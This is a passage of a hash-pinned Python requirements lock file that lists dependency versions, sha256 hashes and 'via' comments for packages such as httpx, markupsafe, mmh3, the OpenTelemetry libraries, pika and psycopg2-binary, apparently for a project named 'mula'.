opentelemetry-exporter-otlp-proto-grpc\nh11==0.16.0 \\\n    --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \\\n    --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86\n    # via\n    #   httpcore\n    #   uvicorn\nhttpcore==1.0.9 \\\n    --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \\\n    --hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8\n    # via httpx\nhttpx==0.28.1 \\\n    --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \\\n    --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad\n    # via mula\nidna==3.11 \\\n    --hash=sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea \\\n    --hash=sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902\n    # via\n    #   anyio\n    #   httpx\nimportlib-metadata==8.7.1 \\\n    --hash=sha256:49fef1ae6440c182052f407c8d34a68f72efc36db9ca90dc0113398f2fdde8bb \\\n    --hash=sha256:5a1f80bf1daa489495071efbb095d75a634cf28a8bc299581244063b53176151\n    # via opentelemetry-api\nmako==1.3.11 \\\n    --hash=sha256:071eb4ab4c5010443152255d77db7faa6ce5916f35226eb02dc34479b6858069 \\\n    --hash=sha256:e372c6e333cf004aa736a15f425087ec977e1fcbd2966aae7f17c8dc1da27a77\n    # via\n    #   alembic\n    #   mula\nmarkupsafe==3.0.3 \\\n    --hash=sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f \\\n    --hash=sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a \\\n    --hash=sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf \\\n    --hash=sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19 \\\n    --hash=sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf \\\n    --hash=sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175 \\\n    --hash=sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219 \\\n    --hash=sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb \\\n    --hash=sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6 \\\n    --hash=sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab \\\n    --hash=sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1 \\\n    --hash=sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce \\\n    --hash=sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218 \\\n    --hash=sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634 \\\n    --hash=sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695 \\\n    --hash=sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad \\\n    --hash=sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73 \\\n    --hash=sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c \\\n    --hash=sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe \\\n    --hash=sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa \\\n    --hash=sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559 \\\n    --hash=sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa \\\n    --hash=sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37 \\\n    --hash=sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f \\\n    --hash=sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d \\\n    --hash=sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c \\\n    --hash=sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97 \\\n    --hash=sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a \\\n    --hash=sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19 \\\n    --hash=sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9 \\\n    --hash=sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9 \\\n    --hash=sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc \\\n    --hash=sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4 \\\n    --hash=sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354 \\\n    --hash=sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50 \\\n    --hash=sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698 \\\n    --hash=sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9 \\\n    --hash=sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b \\\n    --hash=sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc \\\n    --hash=sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115 \\\n    --hash=sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485 \\\n    --hash=sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f \\\n    --hash=sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12 \\\n    --hash=sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025 \\\n    --hash=sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009 \\\n    --hash=sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d \\\n    --hash=sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a \\\n    --hash=sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5 \\\n    --hash=sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f \\\n    --hash=sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1 \\\n    --hash=sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287 \\\n    --hash=sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6 \\\n    --hash=sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f \\\n    --hash=sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581 \\\n    --hash=sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed \\\n    --hash=sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b \\\n    --hash=sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c \\\n    --hash=sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026 \\\n    --hash=sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8 \\\n    --hash=sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676 \\\n    --hash=sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6 \\\n    --hash=sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e \\\n    --hash=sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d \\\n    --hash=sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d \\\n    --hash=sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01 \\\n    --hash=sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419 \\\n    --hash=sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795 \\\n    --hash=sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1 \\\n    --hash=sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5 \\\n    --hash=sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d \\\n    --hash=sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe \\\n    --hash=sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda \\\n    --hash=sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e \\\n    --hash=sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737 \\\n    --hash=sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523 \\\n    --hash=sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591 \\\n    --hash=sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a \\\n    --hash=sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50\n    # via mako\nmmh3==5.2.1 \\\n    --hash=sha256:022aa1a528604e6c83d0a7705fdef0b5355d897a9e0fa3a8d26709ceaa06965d \\\n    --hash=sha256:0634581290e6714c068f4aa24020acf7880927d1f0084fa753d9799ae9610082 \\\n    --hash=sha256:08043f7cb1fb9467c3fbbbaea7896986e7fbc81f4d3fd9289a73d9110ab6207a \\\n    --hash=sha256:0a3984146e414684a6be2862d84fcb1035f4984851cb81b26d933bab6119bf00 \\\n    --hash=sha256:0bbc17250b10d3466875a40a52520a6bac3c02334ca709207648abd3c223ed5c \\\n    --hash=sha256:0cc21533878e5586b80d74c281d7f8da7932bc8ace50b8d5f6dbf7e3935f63f1 \\\n    --hash=sha256:0d0b7e803191db5f714d264044e06189c8ccd3219e936cc184f07106bd17fd7b \\\n    --hash=sha256:113f78e7463a36dbbcea05bfe688efd7fa759d0f0c56e73c974d60dcfec3dfcc \\\n    --hash=sha256:169e0d178cb59314456ab30772429a802b25d13227088085b0d49b9fe1533104 \\\n    --hash=sha256:17fbb47f0885ace8327ce1235d0416dc86a211dcd8cc1e703f41523be32cfec8 \\\n    --hash=sha256:19bbd3b841174ae6ed588536ab5e1b1fe83d046e668602c20266547298d939a9 \\\n    --hash=sha256:1d9f9a3ce559a5267014b04b82956993270f63ec91765e13e9fd73daf2d2738e \\\n    --hash=sha256:1e4ecee40ba19e6975e1120829796770325841c2f153c0e9aecca927194c6a2a \\\n    --hash=sha256:22b0f9971ec4e07e8223f2beebe96a6cfc779d940b6f27d26604040dd74d3a44 \\\n    --hash=sha256:26fb5b9c3946bf7f1daed7b37e0c03898a6f062149127570f8ede346390a0825 \\\n    --hash=sha256:2778fed822d7db23ac5008b181441af0c869455b2e7d001f4019636ac31b6fe4 \\\n    --hash=sha256:28cfab66577000b9505a0d068c731aee7ca85cd26d4d63881fab17857e0fe1fb \\\n    --hash=sha256:29bc3973676ae334412efdd367fcd11d036b7be3efc1ce2407ef8676dabfeb82 \\\n    --hash=sha256:2bd9f19f7f1fcebd74e830f4af0f28adad4975d40d80620be19ffb2b2af56c9f \\\n    --hash=sha256:2d5d542bf2abd0fd0361e8017d03f7cb5786214ceb4a40eef1539d6585d93386 \\\n    --hash=sha256:30e4d2084df019880d55f6f7bea35328d9b464ebee090baa372c096dc77556fb \\\n    --hash=sha256:3619473a0e0d329fd4aec8075628f8f616be2da41605300696206d6f36920c3d \\\n    --hash=sha256:368625fb01666655985391dbad3860dc0ba7c0d6b9125819f3121ee7292b4ac8 \\\n    --hash=sha256:3737303ca9ea0f7cb83028781148fcda4f1dac7821db0c47672971dabcf63593 \\\n    --hash=sha256:3a9fed49c6ce4ed7e73f13182760c65c816da006debe67f37635580dfb0fae00 \\\n    --hash=sha256:3c38d142c706201db5b2345166eeef1e7740e3e2422b470b8ba5c8727a9b4c7a \\\n    --hash=sha256:3cb61db880ec11e984348227b333259994c2c85caa775eb7875decb3768db890 \\\n    --hash=sha256:3d74a03fb57757ece25aa4b3c1c60157a1cece37a020542785f942e2f827eed5 \\\n    --hash=sha256:3f796b535008708846044c43302719c6956f39ca2d93f2edda5319e79a29efbb \\\n    --hash=sha256:41105377f6282e8297f182e393a79cfffd521dde37ace52b106373bdcd9ca5cb \\\n    --hash=sha256:41aac7002a749f08727cb91babff1daf8deac317c0b1f317adc69be0e6c375d1 \\\n    --hash=sha256:44983e45310ee5b9f73397350251cdf6e63a466406a105f1d16cb5baa659270b \\\n    --hash=sha256:4cbbde66f1183db040daede83dd86c06d663c5bb2af6de1142b7c8c37923dd74 \\\n    --hash=sha256:4eda76074cfca2787c8cf1bec603eaebdddd8b061ad5502f85cddae998d54f00 \\\n    --hash=sha256:4fc6cd65dc4d2fdb2625e288939a3566e36127a84811a4913f02f3d5931da52d \\\n    --hash=sha256:50885073e2909251d4718634a191c49ae5f527e5e1736d738e365c3e8be8f22b \\\n    --hash=sha256:5174a697ce042fa77c407e05efe41e03aa56dae9ec67388055820fb48cf4c3ba \\\n    --hash=sha256:54b64fb2433bc71488e7a449603bf8bd31fbcf9cb56fbe1eb6d459e90b86c37b \\\n    --hash=sha256:54fe8518abe06a4c3852754bfd498b30cc58e667f376c513eac89a244ce781a4 \\\n    --hash=sha256:55dbbd8ffbc40d1697d5e2d0375b08599dae8746b0b08dea05eee4ce81648fac \\\n    --hash=sha256:57b52603e89355ff318025dd55158f6e71396c0f1f609d548e9ea9c94cc6ce0a \\\n    --hash=sha256:58370d05d033ee97224c81263af123dea3d931025030fd34b61227a768a8858a \\\n    --hash=sha256:5d87a3584093e1a89987e3d36d82c98d9621b2cb944e22a420aa1401e096758f \\\n    --hash=sha256:623f938f6a039536cc02b7582a07a080f13fdfd48f87e63201d92d7e34d09a18 \\\n    --hash=sha256:62815d2c67f2dd1be76a253d88af4e1da19aeaa1820146dec52cf8bee2958b16 \\\n    --hash=sha256:6290289fa5fb4c70fd7f72016e03633d60388185483ff3b162912c81205ae2cf \\\n    --hash=sha256:67e41a497bac88cc1de96eeba56eeb933c39d54bc227352f8455aa87c4ca4000 \\\n    --hash=sha256:6c85c38a279ca9295a69b9b088a2e48aa49737bb1b34e6a9dc6297c110e8d912 \\\n    --hash=sha256:6f01f044112d43a20be2f13a11683666d87151542ad627fe41a18b9791d2802f \\\n    --hash=sha256:707151644085dd0f20fe4f4b573d28e5130c4aaa5f587e95b60989c5926653b5 \\\n    --hash=sha256:723b2681ed4cc07d3401bbea9c201ad4f2a4ca6ba8cddaff6789f715dd2b391e \\\n    --hash=sha256:72d1cc63bcc91e14933f77d51b3df899d6a07d184ec515ea7f56bff659e124d7 \\\n    --hash=sha256:7374d6e3ef72afe49697ecd683f3da12f4fc06af2d75433d0580c6746d2fa025 \\\n    --hash=sha256:7501e9be34cb21e72fcfe672aafd0eee65c16ba2afa9dcb5500a587d3a0580f0 \\\n    --hash=sha256:76219cd1eefb9bf4af7856e3ae563d15158efa145c0aab01e9933051a1954045 \\\n    --hash=sha256:7aec798c2b01aaa65a55f1124f3405804184373abb318a3091325aece235f67c \\\n    --hash=sha256:7be6dfb49e48fd0a7d91ff758a2b51336f1cd21f9d44b20f6801f072bd080cdd \\\n    --hash=sha256:7e4e1f580033335c6f76d1e0d6b56baf009d1a64d6a4816347e4271ba951f46d \\\n    --hash=sha256:7e8ec5f606e0809426d2440e0683509fb605a8820a21ebd120dcdba61b74ef7f \\\n    --hash=sha256:7f196cd7910d71e9d9860da0ff7a77f64d22c1ad931f1dd18559a06e03109fc0 \\\n    --hash=sha256:82f3802bfc4751f420d591c5c864de538b71cea117fce67e4595c2afede08a15 \\\n    --hash=sha256:85ffc9920ffc39c5eee1e3ac9100c913a0973996fbad5111f939bbda49204bb7 \\\n    --hash=sha256:8e6c219e375f6341d0959af814296372d265a8ca1af63825f65e2e87c618f006 \\\n    --hash=sha256:8f767ba0911602ddef289404e33835a61168314ebd3c729833db2ed685824211 \\\n    --hash=sha256:8ff038d52ef6aa0f309feeba00c5095c9118d0abf787e8e8454d6048db2037fc \\\n    --hash=sha256:915e7a2418f10bd1151b1953df06d896db9783c9cfdb9a8ee1f9b3a4331ab503 \\\n    --hash=sha256:92883836caf50d5255be03d988d75bc93e3f86ba247b7ca137347c323f731deb \\\n    --hash=sha256:960b1b3efa39872ac8b6cc3a556edd6fb90ed74f08c9c45e028f1005b26aa55d \\\n    --hash=sha256:9aeaf53eaa075dd63e81512522fd180097312fb2c9f476333309184285c49ce0 \\\n    --hash=sha256:9d8089d853c7963a8ce87fff93e2a67075c0bc08684a08ea6ad13577c38ffc38 \\\n    --hash=sha256:a4130d0b9ce5fad6af07421b1aecc7e079519f70d6c05729ab871794eded8617 \\\n    --hash=sha256:a482ac121de6973897c92c2f31defc6bafb11c83825109275cffce54bb64933f \\\n    --hash=sha256:add7ac388d1e0bf57259afbcf9ed05621a3bf11ce5ee337e7536f1e1aaf056b0 \\\n    --hash=sha256:b1f12bd684887a0a5d55e6363ca87056f361e45451105012d329b86ec19dbe0b \\\n    --hash=sha256:b3f99e1756fc48ad507b95e5d86f2fb21b3d495012ff13e6592ebac14033f166 \\\n    --hash=sha256:b4cce60d0223074803c9dbe0721ad3fa51dafe7d462fee4b656a1aa01ee07518 \\\n    --hash=sha256:baeb47635cb33375dee4924cd93d7f5dcaa786c740b08423b0209b824a1ee728 \\\n    --hash=sha256:bbea5b775f0ac84945191fb83f845a6fd9a21a03ea7f2e187defac7e401616ad \\\n    --hash=sha256:bbfcb95d9a744e6e2827dfc66ad10e1020e0cac255eb7f85652832d5a264c2fc \\\n    --hash=sha256:bd6e7d363aa93bd3421b30b6af97064daf47bc96005bddba67c5ffbc6df426b8 \\\n    --hash=sha256:be77c402d5e882b6fbacfd90823f13da8e0a69658405a39a569c6b58fdb17b03 \\\n    --hash=sha256:c302245fd6c33d96bd169c7ccf2513c20f4c1e417c07ce9dce107c8bc3f8411f \\\n    --hash=sha256:c88653877aeb514c089d1b3d473451677b8b9a6d1497dbddf1ae7934518b06d2 \\\n    --hash=sha256:cae6383181f1e345317742d2ddd88f9e7d2682fa4c9432e3a74e47d92dce0229 \\\n    --hash=sha256:cd471ede0d802dd936b6fab28188302b2d497f68436025857ca72cd3810423fe \\\n    --hash=sha256:d106493a60dcb4aef35a0fac85105e150a11cf8bc2b0d388f5a33272d756c966 \\\n    --hash=sha256:d30b650595fdbe32366b94cb14f30bb2b625e512bd4e1df00611f99dc5c27fd4 \\\n    --hash=sha256:d51fde50a77f81330523562e3c2734ffdca9c4c9e9d355478117905e1cfe16c6 \\\n    --hash=sha256:d57dea657357230cc780e13920d7fa7db059d58fe721c80020f94476da4ca0a1 \\\n    --hash=sha256:d771f085fcdf4035786adfb1d8db026df1eb4b41dac1c3d070d1e49512843227 \\\n    --hash=sha256:dae0f0bd7d30c0ad61b9a504e8e272cb8391eed3f1587edf933f4f6b33437450 \\\n    --hash=sha256:db0562c5f71d18596dcd45e854cf2eeba27d7543e1a3acdafb7eef728f7fe85d \\\n    --hash=sha256:dfd51b4c56b673dfbc43d7d27ef857dd91124801e2806c69bb45585ce0fa019b \\\n    --hash=sha256:e080c0637aea036f35507e803a4778f119a9b436617694ae1c5c366805f1e997 \\\n    --hash=sha256:e48d4dbe0f88e53081da605ae68644e5182752803bbc2beb228cca7f1c4454d6 \\\n    --hash=sha256:e8b4b5580280b9265af3e0409974fb79c64cf7523632d03fbf11df18f8b0181e \\\n    --hash=sha256:e8b5378de2b139c3a830f0209c1e91f7705919a4b3e563a10955104f5097a70a \\\n    --hash=sha256:e904f2417f0d6f6d514f3f8b836416c360f306ddaee1f84de8eef1e722d212e5 \\\n    --hash=sha256:eee884572b06bbe8a2b54f424dbd996139442cf83c76478e1ec162512e0dd2c7 \\\n    --hash=sha256:f1fbb0a99125b1287c6d9747f937dc66621426836d1a2d50d05aecfc81911b57 \\\n    --hash=sha256:f40a95186a72fa0b67d15fef0f157bfcda00b4f59c8a07cbe5530d41ac35d105 \\\n    --hash=sha256:f6e0bfe77d238308839699944164b96a2eeccaf55f2af400f54dc20669d8d5f2 \\\n    --hash=sha256:f963eafc0a77a6c0562397da004f5876a9bcf7265a7bcc3205e29636bc4a1312 \\\n    --hash=sha256:fb9d44c25244e11c8be3f12c938ca8ba8404620ef8092245d2093c6ab3df260f \\\n    --hash=sha256:fc78739b5ec6e4fb02301984a3d442a91406e7700efbe305071e7fd1c78278f2 \\\n    --hash=sha256:fceef7fe67c81e1585198215e42ad3fdba3a25644beda8fbdaf85f4d7b93175a \\\n    --hash=sha256:fd96476f04db5ceba1cfa0f21228f67c1f7402296f0e73fee3513aa680ad237b\n    # via mula\nopentelemetry-api==1.41.0 \\\n    --hash=sha256:0e77c806e6a89c9e4f8d372034622f3e1418a11bdbe1c80a50b3d3397ad0fa4f \\\n    --hash=sha256:9421d911326ec12dee8bc933f7839090cad7a3f13fcfb0f9e82f8174dc003c09\n    # via\n    #   mula\n    #   opentelemetry-exporter-otlp-proto-grpc\n    #   opentelemetry-instrumentation\n    #   opentelemetry-instrumentation-asgi\n    #   opentelemetry-instrumentation-dbapi\n    #   opentelemetry-instrumentation-fastapi\n    #   opentelemetry-instrumentation-httpx\n    #   opentelemetry-instrumentation-psycopg2\n    #   opentelemetry-sdk\n    #   opentelemetry-semantic-conventions\nopentelemetry-exporter-otlp-proto-common==1.41.0 \\\n    --hash=sha256:7a99177bf61f85f4f9ed2072f54d676364719c066f6d11f515acc6c745c7acf0 \\\n    --hash=sha256:966bbce537e9edb166154779a7c4f8ab6b8654a03a28024aeaf1a3eacb07d6ee\n    # via\n    #   mula\n    #   opentelemetry-exporter-otlp-proto-grpc\nopentelemetry-exporter-otlp-proto-grpc==1.41.0 \\\n    --hash=sha256:3a1a86bd24806ccf136ec9737dbfa4c09b069f9130ff66b0acb014f9c5255fd1 \\\n    --hash=sha256:f704201251c6f65772b11bddea1c948000554459101bdbb0116e0a01b70592f6\n    # via mula\nopentelemetry-instrumentation==0.62b0 \\\n    --hash=sha256:30d4e76486eae64fb095264a70c2c809c4bed17b73373e53091470661f7d477c \\\n    --hash=sha256:aa1b0b9ab2e1722c2a8a5384fb016fc28d30bba51826676c8036074790d2861e\n    # via\n    #   mula\n    #   opentelemetry-instrumentation-asgi\n    #   opentelemetry-instrumentation-dbapi\n    #   opentelemetry-instrumentation-fastapi\n    #   opentelemetry-instrumentation-httpx\n    #   opentelemetry-instrumentation-psycopg2\nopentelemetry-instrumentation-asgi==0.62b0 \\\n    --hash=sha256:89b62a6f996b260b162f515c25e6d78e39286e4cbe2f935899e51b32f31027e2 \\\n    --hash=sha256:93cde8c62e5918a3c1ff9ba020518127300e5e0816b7e8b14baf46a26ba619fc\n    # via\n    #   mula\n    #   opentelemetry-instrumentation-fastapi\nopentelemetry-instrumentation-dbapi==0.62b0 \\\n    --hash=sha256:5c65e03ac68a71159f2d227b2229714feb03e57294658e54e9f5435d2e55edd2 \\\n    --hash=sha256:d573e388fb7da1cbe8c34b138167dd5c28f840bdcffb25ff0e33dc54fb3e4da7\n    # via\n    #   mula\n    #   opentelemetry-instrumentation-psycopg2\nopentelemetry-instrumentation-fastapi==0.62b0 \\\n    --hash=sha256:06d3272ad15f9daea5a0a27c32831aff376110a4b0394197120256ef6d610e6e \\\n    --hash=sha256:e4748e4e575077e08beaf2c5d2f369da63dd90882d89d73c4192a97356637dec\n    # via mula\nopentelemetry-instrumentation-httpx==0.62b0 \\\n    --hash=sha256:c7660b939c12608fec67743126e9b4dc23dceef0ed631c415924966b0d1579e3 \\\n    --hash=sha256:d865398db3f3c289ba226e355bf4d94460a4301c0c8916e3136caea55ae18000\n    # via mula\nopentelemetry-instrumentation-psycopg2==0.62b0 \\\n    --hash=sha256:5cc6d5f239e71498699c36210b9226f33a329729032a3351225a2c0526df8f25 \\\n    --hash=sha256:c5ed4d271ccaa71b1aecd82c892090715d3bb8d8c7d7a4ae77dc2b685f72fcc6\n    # via mula\nopentelemetry-proto==1.41.0 \\\n    --hash=sha256:95d2e576f9fb1800473a3e4cfcca054295d06bdb869fda4dc9f4f779dc68f7b6 \\\n    --hash=sha256:b970ab537309f9eed296be482c3e7cca05d8aca8165346e929f658dbe153b247\n    # via\n    #   mula\n    #   opentelemetry-exporter-otlp-proto-common\n    #   opentelemetry-exporter-otlp-proto-grpc\nopentelemetry-sdk==1.41.0 \\\n    --hash=sha256:7bddf3961131b318fc2d158947971a8e37e38b1cd23470cfb72b624e7cc108bd \\\n    --hash=sha256:a596f5687964a3e0d7f8edfdcf5b79cbca9c93c7025ebf5fb00f398a9443b0bd\n    # via\n    #   mula\n    #   opentelemetry-exporter-otlp-proto-grpc\nopentelemetry-semantic-conventions==0.62b0 \\\n    --hash=sha256:0ddac1ce59eaf1a827d9987ab60d9315fb27aea23304144242d1fcad9e16b489 \\\n    --hash=sha256:cbfb3c8fc259575cf68a6e1b94083cc35adc4a6b06e8cf431efa0d62606c0097\n    # via\n    #   mula\n    #   opentelemetry-instrumentation\n    #   opentelemetry-instrumentation-asgi\n    #   opentelemetry-instrumentation-dbapi\n    #   opentelemetry-instrumentation-fastapi\n    #   opentelemetry-instrumentation-httpx\n    #   opentelemetry-sdk\nopentelemetry-util-http==0.62b0 \\\n    --hash=sha256:a62e4b19b8a432c0de657f167dee3455516136bb9c6ed463ca8063019970d835 \\\n    --hash=sha256:c20462808d8cc95b69b0dc4a3e02a9d36beb663347e96c931f51ffd78bd318ad\n    # via\n    #   mula\n    #   opentelemetry-instrumentation-asgi\n    #   opentelemetry-instrumentation-fastapi\n    #   opentelemetry-instrumentation-httpx\npackaging==26.0 \\\n    --hash=sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4 \\\n    --hash=sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529\n    # via opentelemetry-instrumentation\npika==1.3.2 \\\n    --hash=sha256:0779a7c1fafd805672796085560d290213a465e4f6f76a6fb19e378d8041a14f \\\n    --hash=sha256:b2a327ddddf8570b4965b3576ac77091b850262d34ce8c1d8cb4e4146aa4145f\n    # via mula\nprometheus-client==0.19.0 \\\n    --hash=sha256:4585b0d1223148c27a225b10dbec5ae9bc4c81a99a3fa80774fa6209935324e1 \\\n    --hash=sha256:c88b1e6ecf6b41cd8fb5731c7ae919bf66df6ec6fafa555cd6c0e16ca169ae92\n    # via mula\nprotobuf==6.33.6 \\\n    --hash=sha256:0cd27b587afca21b7cfa59a74dcbd48a50f0a6400cfb59391340ad729d91d326 \\\n    --hash=sha256:77179e006c476e69bf8e8ce866640091ec42e1beb80b213c3900006ecfba6901 \\\n    --hash=sha256:7d29d9b65f8afef196f8334e80d6bc1d5d4adedb449971fefd3723824e6e77d3 \\\n    --hash=sha256:9720e6961b251bde64edfdab7d500725a2af5280f3f4c87e57c0208376aa8c3a \\\n    --hash=sha256:a6768d25248312c297558af96a9f9c929e8c4cee0659cb07e780731095f38135 \\\n    --hash=sha256:c96c37eec15086b79762ed265d59ab204dabc53056e3443e702d2681f4b39ce3 \\\n    --hash=sha256:e2afbae9b8e1825e3529f88d514754e094278bb95eadc0e199751cdd9a2e82a2 \\\n    --hash=sha256:e9db7e292e0ab79dd108d7f1a94fe31601ce1ee3f7b79e0692043423020b0593\n    # via\n    #   googleapis-common-protos\n    #   opentelemetry-proto\npsycopg2-binary==2.9.11 \\\n    --hash=sha256:00ce1830d971f43b667abe4a56e42c1e2d594b32da4802e44a73bacacb25535f \\\n    --hash=sha256:04195548662fa544626c8ea0f06561eb6203f1984ba5b4562764fbeb4c3d14b1 \\\n    --hash=sha256:0da4de5c1ac69d94ed4364b6cbe7190c1a70d325f112ba783d83f8440285f152 \\\n    --hash=sha256:0e8480afd62362d0a6a27dd09e4ca2def6fa50ed3a4e7c09165266106b2ffa10 \\\n    --hash=sha256:2c226ef95eb2250974bf6fa7a842082b31f68385c4f3268370e3f3870e7859ee \\\n    --hash=sha256:2e164359396576a3cc701ba8af4751ae68a07235d7a380c631184a611220d9a4 \\\n    --hash=sha256:304fd7b7f97eef30e91b8f7e720b3db75fee010b520e434ea35ed1ff22501d03 \\\n    --hash=sha256:31b32c457a6025e74d233957cc9736742ac5a6cb196c6b68499f6bb51390bd6a \\\n    --hash=sha256:32770a4d666fbdafab017086655bcddab791d7cb260a16679cc5a7338b64343b \\\n    --hash=sha256:366df99e710a2acd90efed3764bb1e28df6c675d33a7fb40df9b7281694432ee \\\n    